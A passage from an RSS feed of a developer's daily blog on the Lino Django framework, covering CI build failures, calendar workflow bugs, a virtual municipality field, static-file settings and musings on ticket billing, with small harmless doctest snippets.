&lt;a class="reference external" href="https://dev.lino-framework.org/dev/testing.html#travis" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Travis CI&lt;/span&gt;&lt;/a&gt;. Now the test suite passes.&lt;/p&gt;
&lt;p&gt;But the build then fails during &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-bd" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;bd&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://travis-ci.org/github/lino-framework/book/jobs/680152993"&gt;https://travis-ci.org/github/lino-framework/book/jobs/680152993&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I also noted the following warnings that get issued during &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-test" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;test&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;func=xmlSecCheckVersionExt:file=xmlsec.c:line=188:obj=unknown:subj=unknown:error=19:invalid version:mode=abi compatible;
expected minor version=2;
real minor version=2;
expected subminor version=25;
real subminor version=26&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;I guess that they are unrelated and not important.&lt;/p&gt;
&lt;section id="publisher-proof-of-concept"&gt;
&lt;h2&gt;Publisher proof of concept&lt;a class="headerlink" href="#publisher-proof-of-concept" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0428.html</guid><pubDate>Tue, 28 Apr 2020 00:00:00 +0000</pubDate></item><item><title>Saturday, April 25, 2020</title><link>https://luc.lino-framework.org/blog/2020/0425.html</link><description>&lt;section id="saturday-april-25-2020"&gt;
&lt;h1&gt;Saturday, April 25, 2020&lt;a class="headerlink" href="#saturday-april-25-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;This weekend I moved the virtual &lt;a class="reference external" href="https://dev.lino-framework.org/specs/countries.html#lino_xl.lib.countries.CountryCity.municipality" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;municipality&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; field from &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#avanti" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Avanti&lt;/span&gt;&lt;/a&gt; to
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.countries.html#module-lino_xl.lib.countries" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.countries&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; because we will also use it for &lt;a class="reference external" href="https://lino-framework.gitlab.io/presto/index.html#presto" title="(in Lino Presto)"&gt;&lt;span&gt;Lino Presto&lt;/span&gt;&lt;/a&gt;.
Also this field is now a virtual ForeignKey field (and no longer a
&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.fields.displayfield()&lt;/span&gt;&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;I did this because I want &lt;a class="reference external" href="https://lino-framework.gitlab.io/presto/index.html#presto" title="(in Lino Presto)"&gt;&lt;span&gt;Lino Presto&lt;/span&gt;&lt;/a&gt; to be able to filter calendar entries by
the municipality.  That is, I wanted, in &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;cal.AllEntries&lt;/span&gt;&lt;/code&gt;, a table
parameter “Municipality” that, if set, would show only calendar entries whose
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.cal.Entry.project&lt;/span&gt;&lt;/code&gt; field points to a
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_presto.lib.presto.Client&lt;/span&gt;&lt;/code&gt; who lives either in that &lt;a class="reference external" href="https://dev.lino-framework.org/specs/countries.html#term-place" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;place&lt;/span&gt;&lt;/a&gt; or
in a place that is part of it.&lt;/p&gt;
&lt;p&gt;This change caused a series of internal optimizations.&lt;/p&gt;
&lt;p&gt;After doing it, I realized that it was not really necessary for &lt;a class="reference external" href="https://lino-framework.gitlab.io/presto/index.html#presto" title="(in Lino Presto)"&gt;&lt;span&gt;Lino Presto&lt;/span&gt;&lt;/a&gt;
because I they simply print “service reports” using the
&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;service_report.weasy.html&lt;/span&gt;&lt;/code&gt; template.&lt;/p&gt;
&lt;p&gt;New developer feature : Lino now also understands remote fields that forward to
a virtualfield as actor parameters.  The application developer must define
themselves how to translate this parameter into a queryset filter by providing a
custom &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;get_request_queryset()&lt;/span&gt;&lt;/code&gt; method.&lt;/p&gt;
&lt;p&gt;The virtual municipality field and its chooser is defined on the
&lt;a class="reference external" href="https://dev.lino-framework.org/specs/countries.html#lino_xl.lib.countries.CountryCity" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.countries.CountryCity&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; mixin. Presto uses it in
&lt;a class="reference external" href="https://lino-framework.gitlab.io/presto/api/lino_presto.lib.cal.html#module-lino_presto.lib.cal" title="(in Lino Presto)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_presto.lib.cal&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I moved some internal utility functions from one module to another
(make_converter, make_remote_field, get_chooser_for_field etc).
The caching in check_for_chooser() didn’t actually work.&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;startup&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;startup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;lino_presto.projects.presto1.settings.doctests&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.api.doctest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;ses&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;login&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;robin&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Note that Lino’s &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.fields.RemoteField&lt;/span&gt;&lt;/code&gt; has nothing to do with
Django’s &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;remote_field&lt;/span&gt;&lt;/code&gt; of a FK field.&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;fld&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;contacts&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Partner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_meta&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_field&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;city&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;fld&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;remote_field&lt;/span&gt;
&lt;span class="go"&gt;&amp;lt;ManyToOneRel: contacts.partner&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0425.html</guid><pubDate>Sat, 25 Apr 2020 00:00:00 +0000</pubDate></item><item><title>Thursday, April 23, 2020</title><link>https://luc.lino-framework.org/blog/2020/0423.html</link><description>&lt;section id="thursday-april-23-2020"&gt;
&lt;h1&gt;Thursday, April 23, 2020&lt;a class="headerlink" href="#thursday-april-23-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="registrable-and-toggle-state"&gt;
&lt;h2&gt;Registrable and toggle_state&lt;a class="headerlink" href="#registrable-and-toggle-state" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Oops, &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3602"&gt;#3602&lt;/a&gt; was more complex. No no,  the &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.mixins.registrable.html#lino.mixins.registrable.Registrable" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Registrable&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; mixin worked also when there was no state
named “registered”. We &lt;em&gt;do&lt;/em&gt; want certain fields of a course to be read-only in
certain states.  We don’t want let end users edit e.g. the teacher or the room
of an active course. To change these fields, you need to first switch back to
“draft”.  This concept of “registrable fields” is the main feature of
Registrable.&lt;/p&gt;
&lt;p&gt;Only the relatively new &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;toggle_state&lt;/span&gt;&lt;/code&gt; action also required a state
named “registered”.&lt;/p&gt;
&lt;p&gt;I undid my yesterday changes (i.e. Reservation again inherits from Registrable)
and moved the &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;toggle_state&lt;/span&gt;&lt;/code&gt; action to the
&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/accounting.html#lino_xl.lib.accounting.LedgerRegistrable" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.accounting.LedgerRegistrable&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; mixin.   Also started to review
the docstrings.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="miscellaneous"&gt;
&lt;h2&gt;Miscellaneous&lt;a class="headerlink" href="#miscellaneous" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;We fixed a subtle bug : Lino can get confused when collecting
&lt;code class="xref std std-setting docutils literal notranslate"&gt;&lt;span class="pre"&gt;STATICFILES_DIRS&lt;/span&gt;&lt;/code&gt; on a site having a &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;project_dir&lt;/span&gt;&lt;/code&gt; containing a
symbolic link. This later caused Django to complain about duplicate files during
&lt;a class="reference external" href="https://dev.lino-framework.org/dev/cache.html#management_command-collectstatic" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;collectstatic&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;And Lino no longer sets the &lt;code class="xref std std-setting docutils literal notranslate"&gt;&lt;span class="pre"&gt;STATICFILES_DIRS&lt;/span&gt;&lt;/code&gt; Django setting.  This
setting is not used by Lino, I remember vaguely that I have been trying to use
it when experimenting with a Qooxdoo front end years ago.&lt;/p&gt;
&lt;p&gt;The default name of the directory used as &lt;a class="reference external" href="https://dev.lino-framework.org/dev/cache.html#setting-STATIC_ROOT" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-setting docutils literal notranslate"&gt;&lt;span class="pre"&gt;STATIC_ROOT&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; is now
&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;static_root&lt;/span&gt;&lt;/code&gt; (and no longer &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;static&lt;/span&gt;&lt;/code&gt;).   Getlino always creates
it as a subdirectory of the environment.&lt;/p&gt;
&lt;p&gt;That’s mainly because
&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;static&lt;/span&gt;&lt;/code&gt; is used for the “source” directories of the
&lt;a class="reference external" href="https://dev.lino-framework.org/dev/cache.html#management_command-collectstatic" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;collectstatic&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; command, and it sounds a bit dangerous to use the same
name for the target directory.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="presto"&gt;
&lt;h2&gt;Presto&lt;a class="headerlink" href="#presto" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Yesterday I recorded a first screen cast about &lt;a class="reference external" href="https://lino-framework.gitlab.io/presto/index.html#presto" title="(in Lino Presto)"&gt;&lt;span&gt;Lino Presto&lt;/span&gt;&lt;/a&gt; and added a link to
it in &lt;a class="reference external" href="https://lino-framework.gitlab.io/presto/de/basics/tour.html#presto-de-tour" title="(in Lino Presto Benutzerhandbuch v20.8.0)"&gt;&lt;span&gt;Eine Besichtigungstour&lt;/span&gt;&lt;/a&gt;. Yes, it’s in German, the customer’s language.&lt;/p&gt;
&lt;p&gt;Today I fixed a few demo effects encountered in the screen cast (search by
client name, filter per team in Orders table)&lt;/p&gt;
&lt;p&gt;I started to prepare the next screen cast, which will show the calendar view. At
least one thing was still missing there : customized values in
&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/cal.html#lino_xl.lib.cal.PlannerColumns" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.cal.PlannerColumns&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Discovered another bug : filtering doesn’t seem to work in the weekly or daily
calendar view.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0423.html</guid><pubDate>Thu, 23 Apr 2020 00:00:00 +0000</pubDate></item><item><title>Wednesday, April 22, 2020</title><link>https://luc.lino-framework.org/blog/2020/0422.html</link><description>&lt;section id="wednesday-april-22-2020"&gt;
&lt;h1&gt;Wednesday, April 22, 2020&lt;a class="headerlink" href="#wednesday-april-22-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I investigated about &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3602"&gt;#3602&lt;/a&gt;. Yes, the new Avanti had a new button
ToggleState on &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;courses.Course&lt;/span&gt;&lt;/code&gt;. And clicking on that button produced a
user warning “type object ‘CourseStates’ has no attribute ‘registered’” (but
otherwise did nothing).&lt;/p&gt;
&lt;p&gt;Indeed this was a relatively harmless design flaw:
&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/cal.html#lino_xl.lib.cal.Reservation" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.cal.Reservation&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; was inheriting from
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.mixins.registrable.html#lino.mixins.registrable.Registrable" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.mixins.registrable.Registrable&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.  There was no reason for this.  At
least I couldn’t find one.  I removed the base class and the
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.mixins.registrable.html#lino.mixins.registrable.Registrable.get_registrable_fields" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;get_registrable_fields&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; method.&lt;/p&gt;
&lt;p&gt;EDIT: If you believe above explanation, then you are as wrong as I were. See
&lt;a class="reference internal" href="0423.html"&gt;&lt;span class="doc"&gt;Thursday, April 23, 2020&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0422.html</guid><pubDate>Wed, 22 Apr 2020 00:00:00 +0000</pubDate></item><item><title>Tuesday, April 21, 2020</title><link>https://luc.lino-framework.org/blog/2020/0421.html</link><description>&lt;section id="tuesday-april-21-2020"&gt;
&lt;h1&gt;Tuesday, April 21, 2020&lt;a class="headerlink" href="#tuesday-april-21-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;(Continued from &lt;a class="reference internal" href="0420.html"&gt;&lt;span class="doc"&gt;Monday, April 20, 2020&lt;/span&gt;&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;That worked, but it didn’t fix my original problem:  MarkEventTookPlace now
complained that there is no guest state “invited”.&lt;/p&gt;
&lt;p&gt;So I leave the default guest state at “invited”, but that’s only the internal
name, the verbose name is “Planned” or “Present”.  In Presto they want to use
something quite similar to the voga workflow, but they really don’t want to have
to mark their workers as present or not before marking an entry as “took place”.
Marking an entry as took place, in Presto, means that all workers who were
planned where present.&lt;/p&gt;
&lt;p&gt;We want to inherit from Voga workflows, but we want to remove the
MarkEventTookPlace transition. But it’s not possible to undo an
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;add_transition()&lt;/span&gt;&lt;/code&gt; because the transition action immediately gets quite
installed into the system.&lt;/p&gt;
&lt;p&gt;To fix this, I added an attribute &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;transition&lt;/span&gt;&lt;/code&gt; to the
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.core.workflows.html#lino.core.workflows.State" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.workflows.State&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; class.  This has a side effect: Lino no
longer allows to define several transitions for the same target state.  If you
try this, you get an exception “Tried to add another transition to &amp;lt;state
name&amp;gt;”.&lt;/p&gt;
&lt;p&gt;There were about 3 cases where this side effect occurred, and I could convert
them into normalized transitions.&lt;/p&gt;
&lt;p&gt;I removed several workflow modules from the autosummary directives, i.e. they
are no longer included in the autodoc API docs.  Indeed they are like the
&lt;a class="reference external" href="https://dev.lino-framework.org/ref/files.html#xfile-models.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;models.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; modules and &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;choicelists.py&lt;/span&gt;&lt;/code&gt; modules of a plugin: thy
import &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/api/dd/index.html#module-lino.api.dd" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.api.dd&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; at module level and therefore might Django to raise  a
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;django.core.exceptions.AppRegistryNotReady&lt;/span&gt;&lt;/code&gt; exception &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;Apps&lt;/span&gt;
&lt;span class="pre"&gt;aren't&lt;/span&gt; &lt;span class="pre"&gt;loaded&lt;/span&gt; &lt;span class="pre"&gt;yet&lt;/span&gt;&lt;/code&gt;. I just don’t understand why it worked until now.&lt;/p&gt;
&lt;section id="about-ticket-dependencies"&gt;
&lt;h2&gt;About ticket dependencies&lt;a class="headerlink" href="#about-ticket-dependencies" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I have been working now many hours on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3599"&gt;#3599&lt;/a&gt;.
We needed this for &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3477"&gt;#3477&lt;/a&gt;.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3599"&gt;#3599&lt;/a&gt; : Develop and install a next version of their software
according to their 20 page specifications&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3477"&gt;#3477&lt;/a&gt; : A seemingly minor problem that occurred while working on
&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3599"&gt;#3599&lt;/a&gt;.  I decided that this is an interesting case for the Calendar
plugin and maybe even for Lino in general.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Of course this would be difficult to explain to the customer. Of course there
are always two basic attitudes when working on a customer request:&lt;/p&gt;
&lt;ol class="arabic simple"&gt;
&lt;li&gt;&lt;p&gt;fix it using a quick hack, get rid of the problem, do just what they asked,
don’t overkill the bug, don’t worry more than needed.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;analyze the problem and learn from it, improve the framework or the xl in
order to have less work in the future with similar topics.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The normal capitalistic attitude of a customer wants me to prefer (1) in most
cases.  That’s why it is better to sell software development services with a
flat rate price, not with an hourly tariff.&lt;/p&gt;
&lt;p&gt;It can be difficult to estimate how much time I had spent on this issue if my
goal was just a “quick hack”.  A quick hack can take more time than a thorough
analysis.&lt;/p&gt;
&lt;p&gt;The customer actually is not interested in the details, they just want to have
something that shows them that my price is not simple fantasy.&lt;/p&gt;
&lt;p&gt;But independently of the sales work we want to know at least internally how
things are related, why a given change has been done, how much time it took,
etc.&lt;/p&gt;
&lt;p&gt;The customer (and we) would like to see in their service report that I also have
been working on a &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3477"&gt;#3477&lt;/a&gt; for which they didn’t ask directly but which
was indirectly needed for their general request.&lt;/p&gt;
&lt;p&gt;I see two possible directions:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;We might differentiate between “wishes” (customer requests) and “tickets”
(tasks to do).  During data migration every ticket with a non-empty end_user
field would become a wish.  A working session would have an additional pointer
“wish”. And ticket would become nullable.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Or we don’t use a separate Wish model but review the
user interface for managing ticket dependencies.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To be meditated.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0421.html</guid><pubDate>Tue, 21 Apr 2020 00:00:00 +0000</pubDate></item><item><title>Monday, April 20, 2020</title><link>https://luc.lino-framework.org/blog/2020/0420.html</link><description>&lt;section id="monday-april-20-2020"&gt;
&lt;h1&gt;Monday, April 20, 2020&lt;a class="headerlink" href="#monday-april-20-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I am preparing a first screencast for &lt;a class="reference external" href="https://lino-framework.gitlab.io/presto/index.html#presto" title="(in Lino Presto)"&gt;&lt;span&gt;Lino Presto&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Oops, found a bug in the calendar workflow: cannot set the calendar entry to
“planned” because 1 worker is “planned”.  Opened &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3599"&gt;#3599&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The default guest state in Presto was “invited”.
I changed it to “present” because the internal guest state name “invited” is
what triggers the message in the voga workflow.&lt;/p&gt;
&lt;p&gt;Note that we do not want Lino to change the guest_state automatically to
“present” (by setting &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;force_guest_states&lt;/span&gt;&lt;/code&gt; to True).  Because when a
worker has been replaced by another worker, we want to see them both in the
database for this deployment.&lt;/p&gt;
&lt;p&gt;But how to change the default value of a choicelist field? The following tricks
didn’t work:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;dd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update_field&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Guest&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;state&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;present&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;dd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update_field&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Guest&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;state&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;GuestStates&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;present&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;as_callable&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The former doesn’t work because specifying the default value of a choicelist
field as a string works only when the field is created, not when updating it.
And there is no on-update hook yet (and that would be overkill). The latter
doesn’t work because the guest states are filled only after having imported the
models.  We might put that line in the &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Site.custom_workflows_module&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Another idea was to add a new plugin setting
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;default_guest_state&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0420.html</guid><pubDate>Mon, 20 Apr 2020 00:00:00 +0000</pubDate></item><item><title>Saturday, April 18, 2020</title><link>https://luc.lino-framework.org/blog/2020/0418.html</link><description>&lt;section id="saturday-april-18-2020"&gt;
&lt;h1&gt;Saturday, April 18, 2020&lt;a class="headerlink" href="#saturday-april-18-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="printing-a-weekly-sheet-for-workers"&gt;
&lt;h2&gt;Printing a weekly sheet for workers&lt;a class="headerlink" href="#printing-a-weekly-sheet-for-workers" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I pushed my work of the last days on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3589"&gt;#3589&lt;/a&gt;.&lt;/p&gt;
